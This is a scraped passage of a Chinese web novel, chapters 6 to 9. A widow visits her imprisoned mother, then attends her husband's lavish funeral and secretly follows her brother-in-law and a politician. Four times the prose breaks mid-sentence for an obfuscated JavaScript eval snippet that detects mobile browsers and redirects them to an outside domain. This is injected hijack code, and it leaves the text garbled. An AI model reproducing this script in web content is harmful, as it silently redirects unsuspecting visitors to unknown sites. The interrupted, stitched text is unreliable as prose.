她今天穿着一条浅蓝色的简约长裙,腰间系着极细的漆皮腰带,外面披着一条精梳纯羊毛的米色披肩,白色的高跟鞋选的是享誉国际的鞋履设计师尤静然最新一季的作品。 头发也保养得很好,人虽然是瘦了点,但还有精力认真装扮自己,那就证明她的心气还没有散呢。 她的女儿,不论发生什么事情,都应该保有一份体面和自尊。 拍了拍舒纯熙的胳膊,杨澜又想到敬亭的事,颇为惋惜地叹了一口气。 “敬亭的事,你要节哀。还有,之前车祸你也受了挺重的伤吧?都养好了没有……” 舒纯熙扶着杨澜,走到桌旁坐下,应答着母亲的问话。 “父亲让我问候你。” 眯着眼睛笑了一下,舒纯熙告诉母亲,自己刚刚已经去见过父亲了,还谈了点事情。 杨澜笑了笑,想了想,又问: “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376254|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在住在敬家?” “嗯。” “那之后,你有什么打算?” 这些事,丈夫应该给了建议,或者有了安排,但杨澜并不打算立刻问女儿。 自从入了狱,从忙碌的工作生活里抽身后,她的心境也有了变化。 现在,她其实更想听听女儿的想法。 “后面,应该不能再在敬家住了吧,也没法回巴黎,那就……看看能不能再婚吧。” 舒纯熙没有不好意思,大大方方地说出来,还笑了下,又问母亲, “你那儿可有明路,帮我指一条呗?” “好呀,都直接开起这种玩笑来了?” 杨澜作势抬手要打她的样子,被她躲了过去,母女俩闹了一小会儿。 平复下来后,杨澜拧起眉头。 现在他们家的情况,若让舒纯熙一个人流落在外,她跟舒怀宁都不可能放下心来。 虽说女婿刚去世没多久就琢磨着让女儿再婚,听起来多少有点不留情面了,但非常之时,也只能行非常之法了。 就连敬亭也没能完全护得住她,反而搭上了自己,可见女儿的安危依旧是个不容小觑的问题,亟待解决。 思来想去,杨澜还真的给舒纯熙说出了几个人名。 舒纯熙这才知道,原来母亲也是在见她之前,提前想好了这些的。 一想到为了这来之不易的会面的几个小时,父母竟然都为她做了筹谋,心里不禁一阵泛酸,但那是带着暖意的。 “这个宗正呢,和我们杨家是关了点亲的,真要论呢,你得叫人家一声表哥,不过你放心,早就超过三代了,结婚也是合法的。” “还有之前你见过的刘阿姨家儿子,刘阿姨是妈妈的大学同学,他儿子也很优秀,好像是在江大教书呢。” …… 杨澜拉着她的手说了好几个人,却看见女儿的脸上的笑越来越勉强。 最后她不得不停下来,瞧着舒纯熙的神色,悄悄地问: “你可是觉得他们不会同意?这你不用担心,妈妈既然跟你说了,那心里面也是有数的……” 舒纯熙反过来握住杨澜的手,委婉地说: “妈妈,我现在这种情况,跟人家是不合适的。” 家里面是这样的情况,她也已经结过一次婚了,人家为什么要冒着风险娶她呢? 没有任何道理的。 她虽要为往后筹谋,但并不着急,还不到痴心妄想、与人为难的程度。 若让舒纯熙自己说,找一个远离南省权力中心的中立派,嫁得远一些,最好也是二婚的,是比较理想的归宿了。 杨澜看着眼前的女儿,明白她的意思。 不禁想,若是在两年前,她哪里会考虑这些事呢?女儿确实是长大了,但也是被迫才成长的。 她扭过头擦了下眼睛,温柔地笑着,道: “那怎么了,我女儿也很优秀的。 而且,你别把事情想得太复杂了,你父亲那个人,一定是觉得必须得有个能庇护你的人,才能帮你挡住明枪暗箭。 但你们有没有想过,你越是要寻一个能庇护你的人,那些人就越担心,越不能放过你。 相反,如果你嫁到一个寻常人家,没有任何的助力,说不定还真的能避避风头,于你反而更有保障呢? 纯熙,政治斗争有时候像是覆在茶碗里的浮沫,未必就会搅动底下的这些茶叶。” 舒纯熙手上还有舒家在海文洲的资产与人脉,嫁给一个寻常人家并非没有优势。 而对方虽然不会给她任何助力,却能帮她向那些人证明,她不再是会给那些人造成危险的存在,她没有要联合什么人,也不会再怀有翻案报仇的心思了。 这样一来,说不定她还能好好过往后的日子。 “纯熙,你心里不要有太大的压力,其实妈妈心里面清楚,有些事并不是你一个人能扭转的,我们不能单单指望你。或许你过好自己的生活,就已经是我们最大的宽慰了。” 舒纯熙在杨澜的这句话里,缓而慢地凝滞住了思绪。 7. 第 7 章 第七章、 她抬起头,看着说完这么一大段话的杨澜,她脸上带着平静柔和的笑容,心里是真的这么想的。 心里像是攥紧了一颗柠檬,汁水四散,舒纯熙有点恍惚地回忆起来,家里出事的那一天,父母同时被带走的时候,父亲朝她投来的那个眼神。 一向沉稳的目光里带着强行压抑着的镇定,跟她交代的最后一句话就是, “纯熙,去找敬渝,你必须立刻嫁给他。” 她听了父亲的嘱咐,从舒家带走了父亲交给她的东西,立刻就去找敬渝了。 然后,那天被她视为这一生当中最为耻辱的一天。 原本心里最为亲近与依赖的男人,他的沉默以对,在她看来与背叛根本无异。 她已经不欲回想了,思绪就这样在脑海里硬生生转了个弯。 好在,现在的她已经不复当初那么稚嫩了。 那样的情绪牵动,好像已经过去很久了,如果再有一次面对那个人的拒绝,她应该不会再有那么激烈的反应了。 当时的情况,提前婚期,立刻嫁给她的未婚夫,应该是所有方案里面,父亲最理所当然想到的那一条。 但是,本就不是非他不可。 人尽夫也,父一而已。 舒纯熙早就看清了。 她冲杨曦扬唇笑了一下。 “我知道,妈妈你别担心了,我会看着办的。” . 离开新安监狱,回到敬宅回到房间,舒纯熙全身的力气被彻底抽干净了。 挺着身向下趴在床上,面埋入罩着淡粉色真丝被罩的被子,闻到晒过太阳后被子里散发的气味,心道一声久违了,迷迷糊糊地睡了过去。 这一觉睡得黑甜,舒纯熙于熹微的晨光里睁开双眼后,意识逐渐恢复了清明,手向旁边一摸,发现自己现在正躺在被子下,正卧着的姿势。 她怎么记得昨天,她是趴着横睡在床上的,连被子都没有盖啊? 疑惑地皱了一下眉,她看向自己身上还没有换下的连衣裙,下了床。 拿起衣架上的一件毛衣外套裹住大半个身体,她几步走到阳台前,“哗啦”一声,把玻璃门推开一个小口,侧身从缝隙里走了出去。 晨间的冷空气扑面而来,她吸了吸鼻子,目光扫视一眼显然已经苏醒过来的这座庄园。 今天就是敬亭的葬礼,所有人都起得很早,严阵以待接下来一整天的安排。 没有在外面停留太久,她便转身回到房间。 打开衣柜,右手边第一件衣服是她早就提前拿出来准备着的,家里的佣人已经帮她重新熨烫过了。 舒纯熙将没有多余装饰的黑色长裙取了出来,挂在衣架上,然后才进了洗手间。 . 敬亭的葬礼办得声势浩大。 敬宅极其罕见地在这一天门户大开,开放约八十公顷的整个庄园,另外收拾出来两栋供客下榻的副楼。 从门口到主楼的柏油大道上一辆接着一辆轿车驶入,南中北三省政商两届的要紧人物几乎全部到场,携家带口的居多,一时间敬宅迎来难得的泱泱人群。 警戒线从大门口拉到花园,敬渝提前调派了将近平时十五倍的安保人力,庄园外还围着昼米尔市政司借调过来的大半警力和一支军队,确认场内所有人的安全。 偌大的敬宅得以维持井然有序,实则固若金汤。 吊唁的场所在敬宅的祠堂外,前厅后堂,是整座庄园里唯一一座纯徽式建筑。 第一进门后就是为敬亭摆设的灵堂,桌案正中端放着黑底镶金的牌位,上面写“先亡堂弟敬亭之灵位”。 主丧人是敬渝。 不知道为什么,这次的葬礼,敬亭的父母竟然都没有回来,这件事从莫瑞恩尔离开的时候舒纯熙心里就有点奇怪。 婆婆哭得死去活来,公公一夜间苍老了不少,要不是舒纯熙自己提出要扶灵回国,或许敬亭只会在国外安葬。 但舒纯熙是要回来的,所以她没有多问,以至于此刻才能站在这里。 桌案左手旁,舒纯熙站在第一个,左手边才是敬渝,后面几排站着的是这几天或早或晚赶到的敬家旁系的亲戚。 门开着,很快就进来一行人,为首的中年男人径直走到祭拜的桌案前面,接过佣人递过来的香,在旁边的白烛上点了火,探身将三根香插进香炉之中。 然后后退一步,带着家人一起鞠了一躬,随后舒纯熙和敬渝还礼。 礼毕,舒纯熙抬起头来,认出这是上一届南省省政司司长郑明波。 “节哀。” 郑明波转身面对他们的时候,舒纯熙正好垂头敛眸,只是礼貌地点了头,并不曾跟他视线相对。 只是留心着敬渝跟郑明波的交谈。 时间有限,敬渝跟郑明波的谈话也很简短。敬渝祝贺郑明波高升,而郑明波客套谦虚。 最后敬渝说, “寒舍略备薄酒,还请院长赏光。” 这是徽州丧仪的传统,按理来说至少要在家里摆宴三天,这三天里来吊唁的人数不胜数,餐厅内流水席便也不停。 来奔丧的人都会至少留下来吃一顿饭,不然会被视为对主家的不敬。 郑明波两个半月前就已经右迁至国政院副院长,举家都搬往北省的首都,这次既然远道而来奔丧,当然不会不给这个面子。 于是应下来,带着家人转身走出门去。 接着又见了两个人,舒纯熙有点站不动了。 好在她提前料想到了,所以给今天选的是一条曳地的宽松长裙,藏在裙摆里的腿抬起来,松动了一下脚腕。 只不过这样肃穆的场合,她最好还是端端正正的不要有什么动作,所以动作幅度十分的小。 敬渝却像是感受到了什么一样,抬头看了一眼在门口处站着的郑徽,然后侧过头,看了一眼依旧挺直腰站着的舒纯熙,动了动嘴皮子,对她说: “暂时应该不会来人,你去后面坐一会儿。等要来人了,我再让人提前去叫你。” 舒纯熙以为自己听错了,耳朵动了动,仰起头看敬渝,他神色如常,好像自己交代的只是一件稀松平常的事。 但这样不太好吧,万一一个没来得及? 舒纯熙皱起眉头,虽然她也想坐一会儿,但是明显她还是很纠结。 敬渝看她的反应,便又解释道, “现在还早,刚刚这几位都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376255|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提前住到家里面来的,所以才会来得早。放心吧,有什么动向,我都会提前知道的。” 这倒是不假,舒纯熙点点头,不再推辞,挪动脚步往后走过去。 . 中午的席面开始之前,最后来的一个人是周政。 舒纯熙并不认识他,只是在听到门口的郑徽唱名时,眼中闪过一点什么。 然后对着周政,又重复了一遍这一上午她已经做过无数次的回礼。 周政在舒纯熙和敬渝面前站定,笑吟吟地寒暄了两句,与其他人不同,他主动同舒纯熙搭话,又问: “不知道二夫人葬礼过后,是继续在国内留一阵子,还是就回波利了?” 敬渝不动声色地皱了下眉头,替舒纯熙回答道: “周司长跟我想到一块儿去了,家里面环境还算不错,我有心留弟妹再住一段时间。” 舒纯熙便应和地笑笑,没有拒绝。 周政也笑着点点头, “确实,二夫人是应该好好养伤,不要过分操劳了。” 语罢,周政告辞。 上午的祭拜到此告一段落。 灵堂里传来不大不小的松口气的声音,身后的亲戚们彼此小声交谈着,气氛总算有了些微的松泛。 敬渝回头,转身安排他们去餐厅招待来吊唁的客人们。 很快,除了留下来的几个要轮流守灵堂的人,只有敬渝和舒纯熙还没有走。 郑徽已经在外面等着,他是没有一点能休息的时候,但还是留到了最后,此时偏过头和身侧的人开口说话,口中语气自然。 “站了一上午,有没有哪里不舒服?” 舒纯熙只道他的下一句话应该就是,“下午还能撑得过去么”? 虽然她很快就语气没什么起伏地说了声“没有”,但心里也清楚,自己的身体确实有点吃不消。 中午的席面并没有一定要她招呼的意思,敬渝自己一个人去应付也可以,便点点头,目不斜视道: “今天是第一天,虽然来了不少人,但明后两天还是要劳累你站很久。要是你愿意,中午就先回房间休息一会儿,等下午再过来。” 舒纯熙没有立刻答应,目光落在敬渝的脸上,盯着他看了一会儿,见他神色上看不出什么端倪,应该确实是想让她多休息一会儿,才应了下来。 “好,那我先去餐厅。” 敬渝丢下这句话,没有再多停留,先她一步离开了灵堂。 舒纯熙也就望着他离去的身影,慢悠悠地抬起脚步,出了灵堂,往主楼回。 敬渝安排得妥当,舒纯熙回到主楼时,餐厅已经摆好了饭。 她走过去,虽然没什么胃口,心绪更是有点不宁静,但还是拿起饭碗补充体力,吃得比平时快了不少。 下午的祭拜在两点开始。 在这之前,大部分人都应该在餐厅吃午席。 舒纯熙走到房间外的阳台上,顶着日头将手扶在栏杆上面,目光始终望着下面的大片花园。 不知道在那儿站了多久,一家四口人出现在她的视线里面。 以手作遮挡放在额边遮阳的男人抬起头,状似无意地投掷着视线,不期与她的对上。 8. 第 8 章 第八章、 桦树林中,舒纯熙缓步朝等在林茵下的一家四口走了过去。 “郑叔叔好,阿姨好。” 舒纯熙露出礼貌的笑,同时又冲郑明波的两个孩子点点头,当做问候。 那两个看上去还在上高中的女孩也回以礼貌的笑容。 本以为还要客套几句,但郑明波已经侧头看了一下妻子,示意她们先去别处逛逛。 郑夫人会意,没有多说,带着两个孩子往不远处走去,将说话的空间留给二人。 郑明波则朝林深处走动起来,舒纯熙落他半步,两个人如同散步一般慢走起来。 没走多久,郑明波主动开了口,询问道: “听说,敬亭是和你一起出的车祸?” 舒纯熙答: “是的。” “那现在身体可养好了,没什么大碍吧?” “已经按医生的嘱咐养了三个月,医生说,应该恢复不到从前,不过,” 舒纯熙咬唇,缓缓说: “车祸那么凶险,我能活下来,就已经很好了,不敢期望更多。” 走在前头的男人赞同似的点点头,但是没有开口说话,舒纯熙也拿不准他现在脸上是什么样的神情,只能跟着他往前走,一时间也没有贸然开口。 良久,郑明波终于停下了脚步,在道中央转过身来,看着后面的舒家女儿,直接问她: “回来到现在,有没有去见过你父亲?” 舒纯熙点了一下头,听他提起父亲,唇一牵,等着郑明波的下文。 终于,他又问道: “那你父亲,可说什么了?” 脸色微变,舒纯熙肃穆地往后退了小半步,直挺着脊背,面对着眼前与她父亲年龄相仿的郑副院长,不带任何情感地答道, “父亲托我,向郑省司长问一句话。” 郑明波的神情有些变化,好像一张完整的面具之下,眼眶里的两颗眼珠不再矫饰,露出来的目光也带着点温度。 “他,要问什么?” “父亲他托我问郑叔叔,‘云先河的河水,是否还向东流呢’?” 说完,舒纯熙大大方方地望向郑明波,只见他许久没有动作,整个人凝滞了一般。 她便静静地等着。 终于,郑明波垂在腿边的手指动了一动,他嚅动了一下嘴唇,但并未发出声音来。 良久,他的手有些颤抖,伸进兜里,在里面摸了一下。 许是想找什么东西,但是没有找到,动作稍微停顿了一下,他已经又恢复沉稳的模样,从衣服内袋里拿出一支笔和一个小小的便签本,搭在一只手掌上,钢笔刷刷在纸上写了一串数字。 然后,他将那张纸撕下来递给舒纯熙,再将东西都收好。 看舒纯熙将纸叠好捏在手心里,郑明波才对着她有点勉强地露出一个笑意,表情放松了一点,又问候了几句她的近况。 “葬礼结束之后,你是还要回波利市,还是留下来?” “暂时应该不会回波利市了,我打算在昼米尔市待着。” 郑明波沉吟了一下,想起来敬渝和舒纯熙从前的交情,点点头,心中赞同地说道: “也好,你现在住在敬家,倒不用太担心安全问题。” 舒纯熙暗了暗眼眸,低头称是。 话已说完,两个人都没有停留,在路口处分开,各自朝着各自该去的地方快步离开。 回到房间,舒纯熙将手中的东西塞在床头的一本厚书里面,动作迅速地做完这件事后,几乎没有停留,她又走到阳台,站在先前她站的那个位置,才发现自己的手心还沾着一点汗。 眼下的花园占地面积很大,除去东北面的一个湖,剩下的地方各自做了分区,有各类和谐的景致。 只可惜她所处的二楼视野不算高,不能将远处的景色也尽收眼底。 她眯着眼,依旧端着一副吹风望景的样子,刚把一道有些模糊的身影和早上的记忆对上,那人就进了园子。 长廊遮挡住视线,人已没了踪迹。 心脏一下一下地在胸膛里收缩着,几分钟后,阳台上的女人转过身向房间里走,显然已经打定了主意。 舒纯熙换了一双平底乐福鞋,几乎没有停留,步子迈得密而快,从另一边的侧门进,一头扎进了园子里。 游廊相接汇聚又延伸出不同的道路,庭中假山无数,移步换景。 这一方小天地竟如同简易版的迷宫那么精妙,不同之处不过是在早有人在转弯处附上指示牌,才好叫不熟悉这里的客人不至于真的在里面迷路。 但舒纯熙却对这一块儿完全不陌生,要知道她七岁就开始在这里面跟敬渝玩捉迷藏。 那时候八岁的少年敬渝就已经初显老成,不情愿陪她玩这幼稚的游戏就罢了,被她央着答应之后,也根本没有给她放水、让让她的意思,常常害她一顿好找,从午后找到太阳将将落山也寻不到他。 好几次她把整座园子都翻了个遍也找不到敬渝的藏身之处,晚上跟着母亲离开的时候,看敬渝的眼神都带着点不甘心的斗志。 过了好一段时间,她才反应过来,大概她蒙着眼睛的时候,敬渝就已经走出了园子,跑到书房去看他的书去了。 他乐得自在,而她在那里面不知疲倦地找找寻寻一个根本就不在的人,直到消磨掉大半天的时光。 倒是得益于那时候的敬渝,几次下来,她虽然压根没跟他拉近什么距离,但好歹是把园子里的路线给摸清楚了。 舒纯熙快步走在靠边的廊上,眼睛快速在庭中的乱石中找寻,移开后又试图透过雕花镂空的窗棂查看人影。 就这样费心找了一番,她一无所获,终于在一条侧廊上停了脚步,一脚踏入中庭里的假山,钻进里假山洞里。 山洞小巧,堪堪够她直着身子通过,石头并不是完全密闭的,里面没有灯,但从缝隙里面漏进来的天光也勉强能支持人向前走。 坡并不是平的,越走越高。 这是通往园子里地势最高处的一条小路,她走到尽头,在洞口处停了一下,并没有直接出去。 外面有极其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376256|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅的脚步声,有人就在近处。 舒纯熙抿紧唇,连忙往石头后缩着身子避了一下,屏息凝神,生怕自己刚刚走过来时的脚步就已经被人察觉,当下更是不敢动弹,弄出来一点点细微的声音。 终于,那点微弱的声响不在了,应该是已经走远了。 她这才一手扶着山壁,闪身走出来。 不远处的人似乎没有发现身后的她,而她却凝着那道清隽挺拔的身影皱起了眉头。 同时,她也看见了前方最高处的一座五角亭里,坐着的侧影。 行政夹克,西裤皮鞋,四十岁的样貌,还带着一副眼镜。 舒纯熙又退回了山洞里。 周政看到敬渝,很快就站起身来,两个人不知道说了什么,周政就走下亭子,跟敬渝并肩往别的地方走了。 舒纯熙再探身去看的时候,两个人正走在往东的一条廊上。 这时候如果她走出去,非但不能隐秘地跟上他们,反而他们其中任何一个人突然往她这边看一眼,她就会暴露位置,根本是避无可避。 无可奈何。 她只能又在洞里耐着性子等待了一会儿,等到那两个人结伴走完那条廊,往下一个院子去了,才走出山洞,照着方才敬渝走过的路线,连忙跟了上去。 敬渝跟周政有什么好聊的呢? 她一时之间实在是想不出来,不过这不是重点,毕竟她打的主意是等敬渝离开了,再去拦下周政。 所以,只要远远地跟着,心里面有数就好了。 打定主意后,舒纯熙小跑到方才他们转弯的地方,再一望,哪里还有自己以为的那两个身影呢? 肯定是敬渝带着周政走了什么小道。 一想到这个,舒纯熙登时升起些不忿来,想不到这么多年过去了,敬渝还能在这园子里给她使绊子。 虽然他一向行事谨慎,可能并不是针对自己,但舒纯熙还是莫名地有一种,她要跟敬渝在这里再较量上一次的感觉。 出于周全考虑,舒纯熙立刻后退了两步,没有立刻去找,耐着性子做了好几个深呼吸,才跨出眼前这道坎,装作游园的样子,拐进了右边的假山群中。 她漫无目的地在里面走了一圈,并没有发现什么踪迹。 然后又向外走,下意识地想直走,从前面的廊里往外扩大范围接着去寻。 等她跨出门去,她才有点懊恼地意识到,方才的左边假山里面也应该看一看的。 这样想着,她直直地转了个身,又原路返回。 就在这时,左边假山的出口处先走出一个人,正是她方才跟丢了的敬渝! 舒纯熙一瞬间大脑空白,心中响铃大作,有种被抓包的心虚感,脚却被惊得抬不起来一样,眼睁睁看着敬渝走出山洞,往旁边一站,紧接着周政也走出来。 他们两个里只要有任何一个人向前方抬头,都能看见站在这儿的自己。 电光火石间,一只骨节分明的细长手掌捂住她的嘴,另一只手揽她的腰,两手向后使力,几乎是连拖带抱地把舒纯熙给带到了门后。 9. 第 9 章 第九章、 而敬渝和周政,已经朝这边继续走了过来。 原本就吓得呆滞的心现在更增心惊,心跳陡然加快,舒纯熙回头看着刚才“帮”了她的人,现在的姿势她就好像被他从后抱在怀里一样,实在是有点暧昧。 但她现在也顾不得那么多了,在男人连忙将两只手从她身上拿开并且后退一步之后,反客为主地拽住这人的手腕,拉着他一脚踏进泥土里,绕到一株一米高的杜鹃花树后面,半蹲着躲了起来。 宗正虽然不知道舒纯熙为什么刚刚还一副傻愣着的模样,转眼间就开始机智躲藏了,但他还是学着她照做,做了个单膝跪地的姿势。 当然,他注意着没让整洁的西裤碰到地上的泥土,毕竟他还没去灵堂祭拜过亡人呢。 幸亏舒纯熙他们躲得快,敬渝果真跟周政在这边转了弯,就在他们“眼前”走了过去。 “届时,恐怕首都里也要仰仗敬总多加斡旋了。” 周政的声音因压低而听得十分模糊。 敬渝十分有礼地回答道: “周市司无需多虑,渝既托付此事,必会尽力而为,谨慎周全。” 这个小院十分狭小,两个人走着路说这话,跨入下一个院子的功夫,就只够舒纯熙听到这两句话。 但听到了也没什么用,她又不清楚他们在谈什么。 拧着眉,舒纯熙这才发现自己的右手还紧紧攥着身旁人的手腕,用了力,将那人的西装袖子都攥得有了褶皱。 连忙收回手,舒纯熙有意追上去,站起身后又看着同样随她站起来的宗正,眉头刻意放松了一下,同他简短地说: “抱歉,刚刚谢谢你,我还有事,我先走了。” 说完,她立刻就往外走,鞋底沾着深黄色泥土的鞋刚踩在石板路上,小臂就被身后的男人给拉住了。 她下意识用了劲儿,一下子将手臂给抽了回来。 现在宗正没想到她会用这么大的劲儿,好像他是什么洪水猛兽一样,原本拽她就没有用多少力气,被她这么一挣脱,自己反而向后踉跄了两步,才堪堪稳住身形。 高大威猛的男人站在种花的草地里面,怎么看都有点滑稽。 舒纯熙这才意识到自己是有点反应过激了,但一想到眼前这人拉着自己不让她走的功夫,说不定敬渝又带着周政不知道走到哪里去了,她心里本就不多的愧疚也就没了,反而有点不爽。 宗正看得到她的神情变化,沉吟着从草地走上石板路上,站在舒纯熙侧边,好奇地问道: “你方才为什么要躲那两人?” 舒纯熙上下打量了一下眼前的男人。 剑眉星目,面如冠玉,身量高大,一身笔挺的藏青色西装,看起来颇为正派的样子。 她并没有在敬宅见过这个人,又穿成这样,那一定就是今天来吊唁的宾客了,但是上午见的那些人里,又没有这个人,所以,他就是下午来祭拜的人了。 总之是来吊唁的宾客,非富即贵,舒纯熙可不想她没见成周政,反而被来吊唁的宾客撞破,又猜到任何的可能性。 于是,两眼一闭,收起先前面上的那点不虞神色,转而泫然若泣的样子,同他低声解释道: “其实我是这家主人的弟妹,今天办的就是我亡夫的葬礼。我先前从佣人口中听到些风言风语,实在心里难安,见大哥在这园中会客,一时心急,这才跟在他们的后面的。” 舒纯熙说得声音小,好像在说什么隐秘私事的样子,语罢还冲宗正眨了眨眼,一副“我说的你应该懂吧”的意思。 但宗正只是挑了挑眉,根本没有听懂她的暗示,反而只是回她以真诚的几下眨眼,等着她继续往下面说。 舒纯熙刚刚只编了前半段,本来以为宗正是个懂事的,以为自己不小心撞见什么别人的家务事,就不会再追问了。 谁承想竟是个较真的。 舒纯熙索性睁着眼说起了瞎话。 “不瞒你说,你别看我这大伯哥人模人样的,其实唯利是图,实在算不上什么好人。我这次就是听说,等到葬礼办完,他就要想办法把我再嫁给他生意场上的合作伙伴,就当我算是半个敬家人,往后还能替敬家维持姻亲关系。” “可怜我虽是个寡妇,但实在不能忍受大哥这样算计我。所以刚刚看见大哥在这里见客人,我才会跟过来的。” 宗正耐心听完舒纯熙的一番话,看她情真意切说得有理有据,要不是他知道舒纯熙和敬渝从前的关系,恐怕还真要半信半疑地被她糊弄过去了。 但现在,他只是露出一个一言难尽的表情来。 “纯熙表妹。” 他直起身子,望着她,慢吞吞地叫了她一声。 “我知你有难处,不想解释就不用解释的。” 舒纯熙本以为自己这番说辞还算不错,任人听了也只会觉得自己竟然发现了敬渝不为人知的一面,说不定还暗自得意呢。再不济,就当她是被害妄想症疯了也好啊。 但是,谁想得到眼前这个人竟然认识自己啊? 舒纯熙愣在了原地,盯着宗正又看了好一会儿,努力确认自己是真的没见过眼前的这个人。 “你,你叫我什么?” 她真的是错愕,并且暗自后悔,早知道他认得自己,那她就编另一番说辞了。 总好过现在这样,直接被人撞破。 宗正看她暗自懊恼的样子,勾唇轻笑,自我介绍道: “我叫宗正,不知道杨小姨有没有跟你提过我,真要论起来,我们还有点表兄妹的亲戚关系呢。” 舒纯熙仔细想了想,这才把眼前这个自称“表哥”的人,跟那天母亲说的人给对应起来。 “奥,原来你就是宗正表哥啊,母亲是跟我提过你,只不过一直没有机会见上面,所以我一时间没有认出来,真是不好意思。” 她咽了咽口水,稍微平复了一下,才像平常一样跟他客套了起来。 “宗正表哥怎么会来南省,是特地来奔丧的么?” 宗正点点头,同她解释道: “敬总颇为重视这次的葬礼,北省里同敬家有交情的人,应该也都请到了。” “原来如此。” 舒纯熙悻悻答道。 . 下午的吊唁正式开始之前,舒纯熙几乎是掐着点赶到的。 敬渝已经到了,站在他的位置上,看见舒纯熙脚步有些急促,并没有责备她姗姗来迟,反而是手虚抬在身侧,颇有如果需要,他随时都会上前搀扶一把的意思。 当然,他的手并没有碰到舒纯熙。 反而是舒纯熙看见他这有些奇怪的举动,眉心暗蹙,心里虽奇怪,但两步走到他身边站好,打起精神应对接下来一整个下午的吊唁。 下午来的人依旧很多,每个人敬渝都能聊上两句。 而舒纯熙光是鞠躬还礼,就已经做得头晕到麻木了。 敬渝犹豫了一下,还是伸出右手在她手腕下搭了一下。 男人有力的大掌抵在她的手腕底下,明明肌肤碰在了一起,力量也随着那一丁点的接触上传递给她,像是他这个人一样,带着不由分说的意味,可舒纯熙还是感受得到从他手背上传递过来的冰凉。 她轻眨一下眼,如常地一呼一吸着,默许他将自己扶起来。 那人收手的动作却也很迅速,仿佛从来就没有朝她伸过手一般。 抬起头,敬渝立刻就能挂上礼貌的微笑,同对面的人游刃有余地客套寒暄起来。 下午的时候,吊唁的人安排得很密,饶是敬渝有意,也没有找到机会让舒纯熙去后面坐着歇一会儿。 而身边的女人应当确实累了,连面对宾客时的笑容都是刻意才能挤出来一般,明显是在强撑。 喉咙快速地滑动了两下,敬渝总算下定决心,主动向她靠近了一小半步距离,与她只余一拳的距离。 之后的每次还礼,他都像方才那样,伸手给她点力量,直接把她扶起来。 敬渝比她高上一个头,平时,即使舒纯熙穿了高跟鞋,她的视线也很少与他平齐。 但还礼时,管他高矮,她和他都要同时低头俯身,躬身到四十五度角,然后,再一齐直起身子。 做相同的动作,如此往复。 俯下身,然后再立起身子,余光每次都能看到身旁的男人跟自己一起走完这个流程,她竟然恍惚地联想到,小时候看的那些古装电视剧。 一拜天地,二拜高堂,夫妻对拜。 现在这场景,除了没有所谓的夫妻对拜,倒还真有几分像是拜高堂的样子。 谁能想得到呢,在她丈夫的葬礼上面,她竟然会觉得自己在跟丈夫的堂哥拜高堂。 舒纯熙意识到自己在想什么的时候,简直要笑出声来,觉得自己能把敬亭给气活了。 但这一下午实在是太过漫长了,她短暂地收敛了一会儿之后,还在接着与敬渝给别人还礼,然后,那念头又止不住地冒出来。 这一回她没有继续想起敬亭来。 她只是凝滞着唇角,扯不出一丝笑容来,在抬头直起身的那一阵眩晕当中,带着嘲意地感慨。 这一年,她二十五岁了,而身旁的敬渝二十七岁。 他们没有拜高堂的机会。 她站在他的身边,跟他一起为他的堂弟向吊唁的人还礼。 蹉跎了什么么,还是遗憾么,大概都没有吧。 可能还是有一点遗憾的。 她有一点难过。 到底说不清楚。 这还是她第一次意识到,自己心里其实是有一点遗憾的。 . 舒纯熙没有吃晚饭,祭拜结束后,她直接回了房间。 李阿姨来敲门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376257|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也没有应声,可能是已经睡着了。 敬渝将晚间席面的宾客一一给应酬完,回来的时候已经是十一点多了。 饶是他精力尚可,遇上这种需要人费心的场面,也会被耗得没有了多余的力气。 西装外套随手提在手里,他一边往里面走,一边拉开领带,解开最上面的衬衫扣子,试图散掉些酒气。 明天还要站上一整天,他可不希望自己没有一个好的状态。 李阿姨等在客厅外面,看见敬渝回来了,连忙迎上去帮他拿衣服。 敬渝将衣服递给李阿姨,注意到她欲言又止的神情,揉了一下眉心,问道: “怎么了?” 李阿姨便告诉他, 